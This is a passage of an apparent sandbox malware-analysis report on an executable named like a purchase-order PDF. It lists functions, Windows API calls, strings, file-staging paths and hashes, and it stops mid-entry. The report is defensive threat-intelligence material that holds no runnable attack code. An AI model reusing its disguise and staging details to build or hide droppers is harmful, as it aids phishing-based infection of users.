Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe", xrefs: 0040584F
\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2446811607
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,?,00408598,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly
API String ID: 542301482-2045147251
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(75923420,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,75923420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75923420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
_Nb, xrefs: 00403A22, 00403A8A
1033, xrefs: 004038BE, 0040391A
RichEd20, xrefs: 00403ACC
RichEdit, xrefs: 00403AF9
.exe, xrefs: 004039AC
"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe", xrefs: 004038A1
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEd32, xrefs: 00403ADA
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF
RichEdit20W, xrefs: 00403AEA, 00403AF0
.DEFAULT\Control Panel\International, xrefs: 0040390A

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1774368021
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
Inst, xrefs: 00402ED3
Error launching installer, xrefs: 00402E3E
soft, xrefs: 00402EDC
"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe", xrefs: 00402DF4
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Null, xrefs: 00402EE5
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
(*B, xrefs: 00402E7C

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-3937443605
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly, xrefs: 00401796
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nsd51BE.tmp, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly$C:\Users\user\AppData\Local\Temp\nsd51BE.tmp$C:\Users\user\AppData\Local\Temp\nsd51BE.tmp\System.dll$Call
API String ID: 1941528284-4008418245
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004030E7
... %d%%, xrefs: 0040316E
jA, xrefs: 004031F1

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,?,?,00000008,?,?,?,?), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

